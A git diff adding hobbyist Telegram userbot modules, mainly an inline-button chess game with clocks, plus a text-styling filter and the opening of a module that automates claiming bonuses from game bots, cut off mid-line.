"fwd_from", None) + or getattr(message, "forward", None) + or not message.text + or "nekoed" in message.raw_text.lower() + ): + return + neko_words = ["Nya~", "UwU", "OwO", "＞_＜", "^^", "(≧▽≦)"] + modified_text = message.text + neko_word = random.choice(neko_words) + if random.random() < 0.5: + modified_text = f"{neko_word} {modified_text}" + else: + modified_text = f"{modified_text} {neko_word}" + replacements = { + "р": "w", + "л": "w", + "но": "ня", + "на": "ня" + } + for old, new in replacements.items(): + modified_text = modified_text.replace(old, new) + try: + if message.text != modified_text: + await message.edit(modified_text) + except Exception: + pass diff --git a/SenkoGuardian/SenModules/README.md b/SenkoGuardian/SenModules/README.md new file mode 100644 index 0000000..c63430f --- /dev/null +++ b/SenkoGuardian/SenModules/README.md @@ -0,0 +1,7 @@ +- 👋 Hi, I’m @SenkoGuardian or Senko. I'm doing modules for Heroku UserBot +- 📫 How to reach me -> Telegram: @ilovesenko +- My Telegram chanel: @SenkoGuardianModules + diff --git a/ZetGoHack/nullmod/20250401_100043.jpg b/ZetGoHack/nullmod/20250401_100043.jpg new file mode 100644 index 0000000..8b41e87 Binary files /dev/null and b/ZetGoHack/nullmod/20250401_100043.jpg differ diff --git a/ZetGoHack/nullmod/Chess.py b/ZetGoHack/nullmod/Chess.py new file mode 100644 index 0000000..6f2dcc0 --- /dev/null +++ b/ZetGoHack/nullmod/Chess.py @@ -0,0 +1,927 @@ +__version__ = (2, 0, 0) +#░░░███░███░███░███░███ +#░░░░░█░█░░░░█░░█░░░█░█ +#░░░░█░░███░░█░░█░█░█░█ +#░░░█░░░█░░░░█░░█░█░█░█ +#░░░███░███░░█░░███░███ +#H:Mods Team [💎] + +# meta developer: @nullmod +# requires: python-chess +# packurl: https://github.com/ZetGoHack/TestingModules/raw/main/chess.yml + + +from .. import loader, utils +from ..inline.types import BotInlineCall, InlineCall, InlineMessage + +import asyncio +import chess +import chess.pgn +import copy +import random as r +import time +from datetime import datetime, timezone + +from telethon.tl.types import PeerUser, User, Message +from typing import TypedDict + + +class Timer: + def __init__(self, scnds): + self.starttime = scnds + self.timers = {"white": scnds, "black": scnds} + self.running = {"white": False, "black": False} + self.last_time = time.monotonic() + self.t = None + + def minutes(self) -> int: + return self.starttime // 60 + + async def _count(self): + while True: + await asyncio.sleep(0.1) + now = time.monotonic() + elapsed = now - self.last_time + self.last_time = now + for color in ("white", "black"): + if self.running[color]: + self.timers[color] = max(0, self.timers[color] - elapsed) + + async def start(self, from_color: str = "white"): + self.last_time = time.monotonic() + if from_color == "restore": + if self.running["white"]: + from_color = "white" + else: + from_color = "black" + await self._turn(from_color) + self.t = asyncio.create_task(self._count()) + + async def switch(self): + self.running["white"] = not self.running["white"] + self.running["black"] = not self.running["black"] + + async def _turn(self, color): + now = time.monotonic() + e = now - self.last_time + self.last_time = now + for clr in ("white", "black"): + if self.running[clr]: + self.timers[clr] = max(0, self.timers[clr] - e) + self.running = {"white": color == "white", "black": color == "black"} + + async def white_time(self): + return round(self.timers["white"], 0) + + async def black_time(self): + return round(self.timers["black"], 0) + + def restore(self, white_time: float, black_time: float, running: dict): + self.timers["white"] = white_time + self.timers["black"] = black_time + self.running = running + + def backup(self) -> dict: + return { + "white_time": self.timers["white"], + "black_time": self.timers["black"], + "running": self.running + } + + async def stop(self): + if self.t: + self.t.cancel() + self.running = {"white": False, "black": False} + +class Player(TypedDict): + id: int + name: str + color: bool | None + +class TimerDict(TypedDict): + timer: Timer + timer_loop: bool + timer_is_set: bool + message: InlineCall + +class GameParams(TypedDict): + chosen_figure_coord: str + reason_of_ending: str + promotion_move: str + winner_color: bool | None + resigner_color: bool | None + draw_offerer: bool | None + +class Game(TypedDict): + board: chess.Board + message: InlineCall + root_node: chess.pgn.Game + curr_node: chess.pgn.Game + state: str + reason: str + add_params: GameParams + +class GameObj(TypedDict): + game_id: str + game: Game + sender: Player + opponent: Player + Timer: TimerDict + time: int + host_plays: bool + style: dict[str, str] + +GamesDict = dict[str, GameObj] + +@loader.tds +class Chess(loader.Module): + """A reworked version of the Chess module""" + strings = { + "": "", + "name": "Chess", + } + + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "play_self", + False, + "Allows you to make moves without turn checks (also, you can play with yourself)", + validator=loader.validators.Boolean(), + ) + ) + + async def client_ready(self): + self.styles = { + "figures-with-circles": { + "symbol": "[♔⚪] ", + "r": "♖⚫", "n": "♘⚫", "b": "♗⚫", "q": "♕⚫", "k": "♔⚫", "p": "♙⚫", + "R": "♖⚪", "N": "♘⚪", "B": "♗⚪", "Q": "♕⚪", "K": "♔⚪", "P": "♙⚪", + "move": "●", "capture": "×", "promotion": "↻", "capture_promotion": "×↻", + }, + "figures": { + "symbol": "[♔] ", + "r": "♜", "n": "♞", "b": "♝", "q": "𝗾", "k": "♚", "p": "♟", + "R": "♖", "N": "♘", "B": "♗", "Q": "𝗤", "K": "♔", "P": "♙", + "move": "●", "capture": "×", "promotion": "↻", "capture_promotion": "×↻", + }, + "letters": { + "symbol": "[𝗞] ", + "r": "𝗿", "n": "𝗻", "b": "𝗯", "q": "𝗾", "k": "𝗸", "p": "𝗽", + "R": "𝗥", "N": "𝗡", "B": "𝗕", "Q": "𝗤", "K": "𝗞", "P": "𝗣", + "move": "●", "capture": "×", "promotion": "↻", "capture_promotion": "×↻", + }, + "figures-with-cyr-letters": { + "symbol": "[♔Б] ", + "r": "♖Ч", "n": "♘Ч", "b": "♗Ч", "q": "♕Ч", "k": "♔Ч", "p": "♙Ч", + "R": "♖Б", "N": "♘Б", "B": "♗Б", "Q": "♕Б", "K": "♔Б", "P": "♙Б", + "move": "●", "capture": "×", "promotion": "↻", "capture_promotion": "×↻", + }, + "figures-with-latin-letters": { + "symbol": "[♔W] ", + "r": "♖B", "n": "♘B", "b": "♗B", "q": "♕B", "k": "♔B", "p": "♙B", + "R": "♖W", "N": "♘W", "B": "♗W", "Q": "♕W", "K": "♔W", "P": "♙W", + "move": "●", "capture": "×", "promotion": "↻", "capture_promotion": "×↻", + }, + "figures-with-comb-letters": { + "symbol": "[♔ⷱ] ", + "r": "♖ⷱ", "n": "♘ⷱ", "b": "♗ⷱ", "q": "♕ⷱ", "k": "♔ⷱ", "p": "♙ⷱ", + "R": "♖ⷠ", "N": "♘ⷠ", "B": "♗ⷠ", "Q": "♕ⷠ", "K": "♔ⷠ", "P": "♙ⷠ", + "move": "●", "capture": "×", "promotion": "↻", "capture_promotion": "×↻", + }, + } + self.coords = { + f"{col}{row}": "" for row in range(1, 9) + for col in "hgfedcba" + } + self.games: GamesDict = self.get("games_backup", {}) + self.gsettings = { + "style": "figures-with-circles", + } + self.pgn = { + 'Event': "Chess Play In Module", + 'Site': "https://t.me/nullmod/", + 'Date': "{date}", + 'Round': "{game_id}", + 'White': "{player}", + 'Black': "{player}", + } + + async def _check_player(self, call: InlineCall, game_id: str, only_opponent: bool = False, skip_turn_check: bool = False) -> bool: + if isinstance(call, (BotInlineCall, InlineCall, InlineMessage)): + game = self.games[game_id] + _from_id = call.from_user.id + + if game.get("game", None) and game["game"]["state"] == "the_end": + await call.answer(self.strings["game_ended"], show_alert=True) + return + if _from_id != game["sender"]["id"]: + if _from_id != game["opponent"]["id"]: + await call.answer(self.strings["not_available"]) + return False + if _from_id == game["sender"]["id"] and only_opponent and not self.config["play_self"]: + await call.answer(self.strings["not_you"]) + return False + elif not self.config["play_self"] and game.get("game", None) and not skip_turn_check: + if game["sender"]["color"] == game["game"]["board"].turn and game["sender"]["id"] != _from_id: + await call.answer(self.strings["opp_move"]) + return False + elif game["opponent"]["color"] == game["game"]["board"].turn and game["opponent"]["id"] != _from_id: + await call.answer(self.strings["opp_move"]) + return False + return True + + async def get_players(self, message: Message): + sender = { + "id": message.from_id.user_id if isinstance(message.peer_id, PeerUser) else message.sender.id, + "name": (await self.client.get_entity(message.from_id if isinstance(message.peer_id, PeerUser) else message.sender.id)).first_name + } + if message.is_reply: + r = await message.get_reply_message() + opponent = r.sender + if not isinstance(opponent, User): + await utils.answer(message, self.strings["not_a_user"]) + return (None, None) + opp_id = opponent.id + opp_name = opponent.first_name + else: + args = utils.get_args(message) + if len(args)==0: + await utils.answer(message, self.strings["noargs"]) + return (None, None) + opponent = args[0] + try: + if opponent.isdigit(): + opp_id = int(opponent) + opponent = await self.client.get_entity(opp_id) + if not isinstance(opponent, User): + await utils.answer(message, self.strings["not_a_user"]) + return (None, None) + opp_name = opponent.first_name + else: + opponent = await self.client.get_entity(opponent) + if not isinstance(opponent, User): + await utils.answer(message, self.strings["not_a_user"]) + return (None, None) + opp_name = opponent.first_name + opp_id = opponent.id + except: + await utils.answer(message, self.strings["whosthat"]) + return (None, None) + opponent = { + "id": opp_id, + "name": opp_name + } + return (sender, opponent) + + async def _invite(self, call: InlineCall, game_id: str): + if not await self._check_player(call, game_id): return + game = self.games[game_id] + await utils.answer( + call, + self.strings["invite"].format(opponent=utils.escape_html(self.games[game_id]["opponent"]["name"])) + self.strings['settings_text'].format( + style=game['style'], + + timer=self.strings['available'] if game['Timer']['available'] and not game['Timer']['timer'] + else self.strings['timer'].format(game['Timer']['timer'].minutes()) if game['Timer']['timer'] + else self.strings['not_available'], + + color=self.strings['random'] if game['host_plays'] == 'r' + else self.strings['white'] if game['host_plays'] == True + else self.strings['black'] + ), + reply_markup = [ + [ + { + "text": self.strings["yes"], + "callback": self._init_game, + "args": (game_id,) + }, + { + "text": self.strings["no"], + "callback": self._init_game, + "args": (game_id, "no") + } + ], + [ + { + "text": self.strings["settings"], + "callback": self.settings, + "args": (game_id,) + } + ] + ], + disable_security=True + ) + + async def settings(self, call: InlineCall, game_id: str): + if not await self._check_player(call, game_id): return + game = self.games[game_id] + reply_markup = [] + if game["Timer"]["available"]: + reply_markup.append([ + {"text": self.strings["time_btn"], "callback": self._settings, "args": (game_id, "t", )} + ]) + + reply_markup.extend([ + [ + {"text": self.strings["color_btn"], "callback": self._settings, "args": (game_id, "c", )} + ], + [ + {"text": self.strings["style_btn"], "callback": self._settings, "args": (game_id, "s", )} + ], + [ + {"text": self.strings['back'], "callback": self._invite, "args": (game_id,)} + ] + ]) + await utils.answer( + call, + self.strings['settings_text'].format( + style=game['style'], + + timer=self.strings['available'] if game['Timer']['available'] and not game['Timer']['timer'] + else self.strings['timer'].format(game['Timer']['timer'].minutes()) if game['Timer']['timer'] + else self.strings['not_available'], + + color=self.strings['random'] if game['host_plays'] == 'r' + else self.strings['white'] if game['host_plays'] == True + else self.strings['black'] + ), + reply_markup=reply_markup, + disable_security=True + ) + async def _settings(self, call: InlineCall, game_id: str, ruleset: str | list): + reply_markup = [] + text = "🍓" + if isinstance(ruleset, str): + if ruleset == "t": + text = "⏳" + reply_markup.extend([ + [ + {"text": self.strings['blitz_text'], "action": "answer", "message": self.strings['blitz_message']} + ], + [ + {"text": self.strings['timer'].format(3), "callback":self._settings, "args": (game_id, ['Timer', 3])}, + {"text": self.strings['timer'].format(5), "callback":self._settings, "args": (game_id, ['Timer', 5])}, + ], + [ + {"text": self.strings['rapid_text'], "action": "answer", "message": self.strings['rapid_message']} + ], + [ + {"text": self.strings['timer'].format(10), "callback":self._settings, "args": (game_id, ['Timer', 10])}, + {"text": self.strings['timer'].format(15), "callback":self._settings, "args": (game_id, ['Timer', 15])}, + {"text": self.strings['timer'].format(30), "callback":self._settings, "args": (game_id, ['Timer', 30])}, + {"text": self.strings['timer'].format(60), "callback":self._settings, "args": (game_id, ['Timer', 60])} + ], + [ + {"text": self.strings['no_clock_text'], "callback":self._settings, "args": (game_id, ['Timer', True])} + ] + ]) + elif ruleset == "c": + text = "♟️" + reply_markup.extend([ + [ + {"text": self.strings['white'], "callback":self._settings, "args": (game_id, ['host_plays', True])}, + {"text": self.strings['black'], "callback":self._settings, "args": (game_id, ['host_plays', True] )} + ], + [ + {"text": self.strings['random'], "callback":self._settings, "args": (game_id, ['host_plays', 'r'])} + ] + ]) + elif ruleset == "s": + text = "✏️" + reply_markup.extend([ + [{"text": st["symbol"] + self.strings[name], "callback":self._settings, "args": (game_id, ["style", name])}] + for name, st in self.styles.items() + ]) + + reply_markup.append( + [ + {"text": self.strings['back'], "callback": self.settings, "args": (game_id,)} + ] + ) + + await utils.answer(call, text, reply_markup=reply_markup, disable_security=True) + else: + await call.answer("✅") + if ruleset[0] == "style": + self.set('style', ruleset[1]) + if ruleset[0] == "Timer" and isinstance(ruleset[1], int): + self.games[game_id]['Timer']['timer'] = Timer(ruleset[1]*60) + else: + self.games[game_id][ruleset[0]] = ruleset[1] + await self.settings(call, game_id) + + + @loader.command(ru_doc="[reply/username/id] - предложить человеку сыграть партию") + async def chess(self, message: Message): + """[reply/username/id] - propose a person to play a game""" + sender, opponent = await self.get_players(message) + if not sender or not opponent: return + if sender['id'] == opponent['id'] and not self.config["play_self"]: + await utils.answer(message, self.strings["playing_with_yourself?"]) + return + if self.games: + past_game = next(reversed(self.games.values())) + if not past_game.get("game", None): + self.games.pop(past_game['game_id'], None) + if not self.games: + game_id = str(1) + else: + game_id = str(max(map(int, self.games.keys())) + 1) + self.games[game_id] = GameObj( + game_id = game_id, + sender = sender, + opponent = opponent, + Timer = {"available": True if isinstance(message.peer_id, PeerUser) else False, "timer": None, "timer_loop": False}, + time = int(time.time()), + host_plays = "r", + style = self.gsettings['style'] + ) + await self._invite(message, game_id) + +# @loader.command(ru_doc="посмотреть текущее состояние модуля и статистику своих партий") +# async def chesstats(self, message: Message): +# """view the current state of the module and statistics of your games""" +# total_games = len(self.get("games_backup", {})) +# await utils.answer(message, f"♟️ {self.strings['name']} ♟️\n\nTotal games played: {total_games}") + # TODO: добавить кнопки для просмотра состояния каждой партии; считать победы/поражения/ничьи и прочую бесполезную статистику; проверка на наличие исполняемого файла шахматного движка для возможности игры против ИИ; возможность экспорта партии в PGN; возможность продолжить сохранённую партию + + ############## Preparing all for game start... ############## + + async def _init_game(self, call: InlineCall, game_id: str, ans="yes"): + if not await self._check_player(call, game_id=game_id, only_opponent=True): return + if ans == "no": + self.games.pop(game_id, None) + await utils.answer(call, self.strings["declined"]) + return + game = self.games[game_id] + await utils.answer(call, self.strings["step1"]) + await asyncio.sleep(0.8) + await utils.answer(call, self.strings["step2"]) + game["style"] = self.styles[game["style"]] + await asyncio.sleep(0.8) + await utils.answer(call, self.strings["step3"]) + if (turn := game.pop("host_plays")) == "r": + turn = r.choice([True, False]) + game["sender"]["color"] = True if turn else False + game["opponent"]["color"] = False if turn else True + await asyncio.sleep(0.8) + await utils.answer(call, self.strings["step4"]) + game["Timer"].pop("available", None) + await asyncio.sleep(0.8) + if isinstance(self.games[game_id]["Timer"]["timer"], Timer): + await utils.answer(call, self.strings["step4.T"]) + await self._set_timer(call, game_id, call._units[call.unit_id]['chat']) + await asyncio.sleep(0.8) + return await utils.answer(call, self.strings["waiting_for_start"]) + await self._start_game(call, game_id) + + async def _set_timer(self, board_call: InlineCall, game_id: str, chat_id): + timer = self.games[game_id]["Timer"]["timer"] + self.games[game_id]["Timer"]["message"] = ( + await self.inline.form(self.strings["timer_text"].format( + int(await timer.white_time()), + int(await timer.black_time()), + "" + ), + chat_id, + reply_markup = {"text": self.strings["start_timer"], "callback": self._start_timer, "args": (board_call, game_id,)}, + disable_security = True, + ) + ) + + @loader.loop(interval=1, autostart=True) + async def main_loop(self): + for game_id in self.games: + if not self.games[game_id].get("backup", False) and self.games[game_id]["Timer"]["timer_loop"] and not self.games[game_id]["Timer"]["timer_is_set"]: + async def timer_loop(game_id): + timer = self.games[game_id]["Timer"]["timer"] + await timer.start() + self.games[game_id]["Timer"]["timer_is_set"] = True + while self.games[game_id]["Timer"]["timer_loop"]: + if not all([await timer.white_time(), await timer.black_time()]): + self.games[game_id]["Timer"]["timer_loop"] = False + self.the_end(game_id, "time_is_up") + elif self.games[game_id]["game"]["state"] == "the_end": + self.games[game_id]["Timer"]["timer_loop"] = False + + loser, winner = self._get_loser_and_winner(game_id) + + await self.games[game_id]["Timer"]["message"].edit(self.strings["timer_text"].format( + int(await timer.white_time()), + int(await timer.black_time()), + "" if self.games[game_id]["game"]["state"] != "the_end" + else "⏹️ " + self.strings[self.games[game_id]["game"]["add_params"]["reason_of_ending"]].format( + loser, winner + ) + ), + ) + await asyncio.sleep(1) + await timer.stop() + asyncio.create_task(timer_loop(game_id)) + + if self.games[game_id].get("game", None): + if not self.games[game_id].get("backup", False): + self.games[game_id]["game"]["message"].inline_manager._units[ + self.games[game_id]["game"]["message"].unit_id + ]["always_allow"] = True # для ругающегося на эту строку гпт - по неизвестно какой причине фреймворк в какое-то время попросту + # забывает про отключение его проверки. мне это нужно, чтобы сам модуль брал на себя ответсвенность + # проверки, кто может управлять доской, а до кого очередь ещё не дошла + games_backup = {} + games = self.games + for game_id, game in games.items(): + if game.get("game", None): + game_copy = game + if not game.get("backup", None): + game_copy = {} + game_copy["backup"] = True + + game_copy["game"] = { + k: v for k, v in game["game"].items() + if k not in ("message", "root_node", "curr_node", "board") + } + game_copy["game"]["node"] = str(game["game"]["root_node"]) + + if game.get("Timer", None) and game["Timer"].get("timer", None): + game_copy["Timer"] = game["Timer"]["timer"].backup() + + for key, value in game.items(): + if key not in ("game", "Timer"): + game_copy[key] = value + + games_backup[game_id] = game_copy + + self.set("games_backup", games_backup) + + ############## Starting game... ############## + + async def _start_timer(self, call: InlineCall, board_call: InlineCall, game_id: str): + if not await self._check_player(call, game_id): return + timer = self.games[game_id]["Timer"] + timer["timer_loop"] = True + await self._start_game(board_call, game_id) + + async def _start_game(self, call: InlineCall, game_id: str): + if not await self._check_player(call, game_id): return + game = self.games[game_id] + node = chess.pgn.Game() + pgn = copy.deepcopy(self.pgn) + pgn["Date"] = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S") + pgn["Round"] = str(game_id) + pgn["White"] = game["sender"]["name"] if game["sender"]["color"] else game["opponent"]["name"] + pgn["Black"] = game["opponent"]["name"] if game["sender"]["color"] else game["sender"]["name"] + pgn["Result"] = "*" + node.headers.update(pgn) + game["game"] = { + "board": chess.Board(), + "message": call, + "root_node": node, + "curr_node": node, + "state": "idle", + "add_params": { + "chosen_figure_coord": "", + "reason_of_ending": "", + "promotion_move": "", + "winner_color": None, + "resigner_color": None, + "draw_offerer": None, + } + } + await self.update_board(game_id) + + def idle(self, game_id: str): + game = self.games[game_id]["game"] + game["state"] = "idle" + game["add_params"]["chosen_figure_coord"] = "" + game["add_params"]["promotion_move"] = "" + game["add_params"]["draw_offerer"] = None + + def choose(self, game_id: str, coord: str): + game = self.games[game_id]["game"] + game["state"] = "in_choose" + game["add_params"]["chosen_figure_coord"] = coord + game["add_params"]["promotion_move"] = "" + + def promotion(self, game_id: str, move: str): + game = self.games[game_id]["game"] + game["state"] = "in_promotion" + game["add_params"]["chosen_figure_coord"] = "" + game["add_params"]["promotion_move"] = move + + def the_end(self, game_id: str, reason: str, winner: bool = None): + game = self.games[game_id]["game"] + game["state"] = "the_end" + game["add_params"]["reason_of_ending"] = reason + game["add_params"]["winner_color"] = winner + game["add_params"]["chosen_figure_coord"] = "" + game["add_params"]["promotion_move"] = "" + game["root_node"].headers["Result"] = ( + "1-0" if winner is True else + "0-1" if winner is False else + "1/2-1/2" + ) + + def _get_loser_and_winner(self, game_id: str) -> tuple[str, str]: + game = self.games[game_id] + if game["sender"]["color"] == self.games[game_id]["game"]["add_params"]["winner_color"]: + return (game["opponent"]["name"], game["sender"]["name"]) + else: + return (game["sender"]["name"], game["opponent"]["name"]) + + def _get_piece_symbol(self, game_id: str, coord: str) -> str: + game = self.games[game_id] + piece = game["game"]["board"].piece_at(chess.parse_square(coord)) + return game["style"][piece.symbol()] if piece else " " + + def _get_move_symbol(self, game_id: str, move: str) -> str: + game = self.games[game_id] + if len(move) == 5: + return game["style"][ + "capture_promotion" if (move := chess.Move.from_uci(move)) + and game["game"]["board"].is_capture(move) + else "promotion" + ] + else: + return game["style"][ + "capture" if (move := chess.Move.from_uci(move)) + and game["game"]["board"].is_capture(move) + else "move" + ] + + def _get_available_moves(self, game_id: str, coord: str) -> list[str]: + if not coord: return [] + game = self.games[game_id] + coord = chess.parse_square(coord) + moves = [move.uci() for move in game["game"]["board"].legal_moves if move.from_square == coord] + return moves + + def _get_board_dict(self, game_id: str) -> dict[str, str]: + game = self.games[game_id] + coords = copy.deepcopy(self.coords) + for coord in self.coords: + coords[coord] = self._get_piece_symbol(game_id, coord) + + if game["game"]["state"] == "in_choose": + choosen_coord = game["game"]["add_params"]["chosen_figure_coord"] + for move in self._get_available_moves(game_id, choosen_coord): + coord = move[2:4] + coords[coord] = self._get_move_symbol(game_id, move) + + return coords + + def _get_reply_markup(self, game_id: str, promotion: bool = False, resign_confirm: bool = False, draw_confirm: bool = False) -> list[list[dict]]: + game = self.games[game_id] + is_end = game["game"]["state"] == "the_end" + reply_markup = utils.chunks( + [ + { + "text": figure, + "callback": self.choose_coord, + "args": (game_id, coord), + } + for coord, figure in self._get_board_dict(game_id).items() + ][::-1], + 8 + ) + + if promotion: + reply_markup.append( + [{"text": "⬇️↻⬇️", "action": "answer", "message": self.strings["choose_promotion"]}] + ) + reply_markup.append( + [ + { + "text": game["style"].get(piece, piece), + "callback": self.pawn_promotion, + "args": (game_id, piece), + } for piece in "qrnb" + ] + ) + elif resign_confirm: + reply_markup.extend( + [ + [ + { + "text": self.strings["resign_check"], + "data": "_there_is_nothing", + } + ], + [ + { + "text": self.strings["resign_yes"], + "callback": self.resign, + "args": (game_id, True), + }, + { + "text": self.strings["resign_no"], + "callback": self._back_to_game, + "args": (game_id,), + }, + ] + ] + ) + elif draw_confirm: + reply_markup.extend( + [ + [ + { + "text": self.strings["draw_offer"].format( + self.strings["white"] if game["game"]["add_params"]["draw_offerer"] + else self.strings["black"] + ), + "data": "_there_is_nothing", + } + ], + [ + { + "text": self.strings["draw_yes"], + "callback": self.draw, + "args": (game_id, True), + }, + { + "text": self.strings["resign_no"], + "callback": self._back_to_game, + "args": (game_id,), + }, + ] + ] + ) + elif not is_end: + resign = [ + { + "text": "🏳️", + "callback": self.resign, + "args": (game_id,), + }, + { + "text": "🤝", + "callback": self.draw, + "args": (game_id,), + } + ] + reply_markup.append(resign) + return reply_markup + + async def update_board(self, game_id: str, promotion: bool = False, resign_confirm: bool = False, draw_confirm: bool = False): + game = self.games[game_id] + is_end = game["game"]["state"] == "the_end" + reason_of_ending = game["game"]["add_params"]["reason_of_ending"] + status = ( + self.strings["check"] if game["game"]["board"].is_check() and not is_end + else self.strings[reason_of_ending] + "\n" + ) + loser, winner = self._get_loser_and_winner(game_id) + + reply_markup = self._get_reply_markup(game_id, promotion, resign_confirm, draw_confirm) + + pgn = game["game"]["root_node"].accept(chess.pgn.StringExporter(columns=None, headers=False)).replace("*", "").rsplit(maxsplit=1) + if pgn: + pgn[-1] = f"{pgn[-1]}" + else: + pgn = ["|"] + last_moves = " ".join(pgn) + + await utils.answer( + game["game"]["message"], + self.strings["board"].format( + game_id, + utils.escape_html(game["sender"]["name"] if game["sender"]["color"] else game["opponent"]["name"]), + utils.escape_html(game["opponent"]["name"] if game["sender"]["color"] else game["sender"]["name"]), + self.strings["white"] if game["game"]["board"].turn else self.strings["black"], + status.format(loser=loser, winner=winner), + last_moves[-32:], + ), + reply_markup=reply_markup, + ) + + def make_move(self, game_id: str, move: str): + game = self.games[game_id]["game"] + move = chess.Move.from_uci(move) + game["board"].push(move) + game["curr_node"] = game["curr_node"].add_variation(move) + + async def pawn_promotion(self, call: InlineCall, game_id: str, piece: str): + if not await self._check_player(call, game_id): return + game = self.games[game_id]["game"] + move = game["add_params"]["promotion_move"] + piece + + self.make_move(game_id, move) + self.set_game_state(game_id) + + return await self.update_board(game_id) + + async def _back_to_game(self, _, game_id: str): + self.set_game_state(game_id) + await self.update_board(game_id) + + async def resign(self, call: InlineCall, game_id: str, confirm: bool = False): + if not await self._check_player(call, game_id): return + game = self.games[game_id] + if not confirm: + game["game"]["add_params"]["resign_offerer"] = self._get_color_by_player( + game_id, + call.from_user.id + ) + return await self.update_board(game_id, resign_confirm=True) + self.the_end(game_id, "resign", winner=not game["game"]["board"].turn) + await self.update_board(game_id) + + async def draw(self, call: InlineCall, game_id: str, accept: bool = False): + if not await self._check_player(call, game_id, skip_turn_check=True): return + game = self.games[game_id] + if accept: + offerer_id = self._get_player_by_color( + game_id, + game["game"]["add_params"]["draw_offerer"] + )["id"] + + if call.from_user.id == offerer_id: + await call.answer(self.strings["draw_not_you"]) + return + self.the_end(game_id, "draw") + return await self.update_board(game_id) + + game["game"]["add_params"]["draw_offerer"] = self._get_color_by_player( + game_id, + call.from_user.id + ) + return await self.update_board(game_id, draw_confirm=True) + + def set_game_state(self, game_id: str): + game = self.games[game_id]["game"] + board = game["board"] + self.idle(game_id) + if board.is_checkmate(): + self.the_end(game_id, "checkmate", winner=not board.turn) + elif board.is_stalemate(): + self.the_end(game_id, "stalemate") + elif board.is_insufficient_material(): + self.the_end(game_id, "insufficient_material") + elif board.is_seventyfive_moves(): + self.the_end(game_id, "seventyfive_moves") + elif board.is_fivefold_repetition(): + self.the_end(game_id, "fivefold_repetition") + + async def choose_coord(self, call: BotInlineCall, game_id: str, coord: str): + if not await self._check_player(call, game_id): return + game = self.games[game_id]["game"] + state = game["state"] + + if state == "idle": + if self._get_available_moves(game_id, coord): + self.choose(game_id, coord) + else: + await call.answer(self.strings["no_moves"]) + return await self.update_board(game_id) + + elif state == "in_choose": + if coord == game["add_params"]["chosen_figure_coord"]: + self.idle(game_id) + return await self.update_board(game_id) + + av_moves = self._get_available_moves(game_id, game["add_params"]["chosen_figure_coord"]) + coord_matches = [move for move in av_moves if coord in move] + + if len(coord_matches) == 1: + self.make_move(game_id, coord_matches[0]) + self.set_game_state(game_id) + return await self.update_board(game_id) + + elif len(coord_matches) > 1: + move = coord_matches[0][:4] + self.promotion(game_id, move) + return await self.update_board(game_id, promotion=True) + + elif game["board"].piece_at(chess.parse_square(coord)): + self.choose(game_id, coord) + return await self.update_board(game_id) + + else: + self.idle(game_id) + return await self.update_board(game_id) + + elif state == "in_promotion": + return await call.answer(self.strings["can_not_move"]) + + elif state == "the_end": + return await call.answer(self.strings["game_ended"]) + + else: + await call.answer("ты игру сломал?") + self.idle(game_id) + return await self.update_board(game_id) + + + + def _get_player_by_color(self, game_id: str, color: bool): + game = self.games[game_id] + return game["sender"] if game["sender"]["color"] == color else game["opponent"] + + def _get_color_by_player(self, game_id: str, player_id: int): + game = self.games[game_id] + if game["sender"]["id"] == player_id: + return game["sender"]["color"] + elif game["opponent"]["id"] == player_id: + return game["opponent"]["color"] + return None diff --git a/ZetGoHack/nullmod/HaremManager.py b/ZetGoHack/nullmod/HaremManager.py new file mode 100644 index 0000000..16e8790 --- /dev/null +++ b/ZetGoHack/nullmod/HaremManager.py @@ -0,0 +1,435 @@ +__version__ = (1,1,7) +#░░░███░███░███░███░███ +#░░░░░█░█░░░░█░░█░░░█░█ +#░░░░█░░███░░█░░█░█░█░█ +#░░░█░░░█░░░░█░░█░█░█░█ +#░░░███░███░░█░░███░███ +# H:Mods Team [💎] +# meta developer: @nullmod + +# - main - # +from .. import loader, utils +# - func - # +import asyncio +import logging +import time +import re +# - func(tl) - # +from telethon.tl.functions.chatlists import CheckChatlistInviteRequest, JoinChatlistInviteRequest, LeaveChatlistRequest +from telethon.tl.functions.messages import ImportChatInviteRequest, CheckChatInviteRequest +from telethon.tl.functions.channels import JoinChannelRequest, LeaveChannelRequest +from telethon.tl.functions.contacts import BlockRequest, UnblockRequest +# - types - # +from telethon.tl.types import InputChatlistDialogFilter, UpdateDialogFilter +# - errors - # +from telethon.errors import YouBlockedUserError, InviteRequestSentError +# - end - # + +logger = logging.getLogger(__name__) + +@loader.tds +class HaremManager(loader.Module): + """Module for harem bots: Gif Harem, Waifu Harem, Horny Harem""" + + strings = { + "name": "HaremManager" + } + + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "ignore-chats", + [], + "Список чатов, где модуль НЕ будет ловить вайфу. Указывайте ID чатов в виде 123456789", + validator=loader.validators.Series( + validator=loader.validators.Integer(), + ) + ), + loader.ConfigValue( + "whitelist-chats", + [], + "Список чатов, где модуль будет ловить вайфу. Указывайте ID чатов в виде 123456789. Если что-то указано, то модуль будет ловить вайфу только в этих чатах", + validator=loader.validators.Series( + validator=loader.validators.Integer(), + ) + ), + loader.ConfigValue( + "interval-horny", + 4, + "Интервал между автобонусом", + validator=loader.validators.Float(2.0) + ), + loader.ConfigValue( + "interval-waifu", + 4, + "Интервал между автобонусом", + validator=loader.validators.Float(2.0) + ), + loader.ConfigValue( + "interval-gif", + 4, + "Интервал между автобонусом", + validator=loader.validators.Float(2.0) + ), + ) + + async def client_ready(self): + self.harems = { + "horny": "@Horny_GaremBot", + "waifu": "@garem_chatbot", + "gif": "@GIFgarem_bot", + } + self.harems_ids = { + "horny": 7896566560, + "waifu": 6704842953, + "gif": 7084965046, + } + + temp_values = [ + "config", + "ab-horny", + "catch-horny", + "out-horny", + "ab-waifu", + "catch-waifu", + "out-waifu", + "ab-gif", + "catch-gif", + "out-gif" + ] + if not self.get("config", None): + for value in temp_values: + self.set(value, False if value not in "config" else True) + + @loader.loop(interval=1, autostart=True) + async def loop(self): + for bot in self.harems: + if self.get(f"ab-{bot}", None): + if (not self.get(f"ab-t-{bot}") or (time.time() - self.get(f"ab-t-{bot}")) >= int(3600*self.config[f"interval-{bot}"])): + await self._autobonus(self.harems[bot], bot) + + @loader.watcher("only_messages") + async def watcher(self, message): + """Watcher""" + chatid = int(str(message.chat_id).replace("-100", "")) + for bot in self.harems: + if bot == "waifu": continue + if message.sender_id == self.harems_ids[bot] and self.get(f"catch-{bot}", None): + if self.config["whitelist-chats"]: + if chatid not in 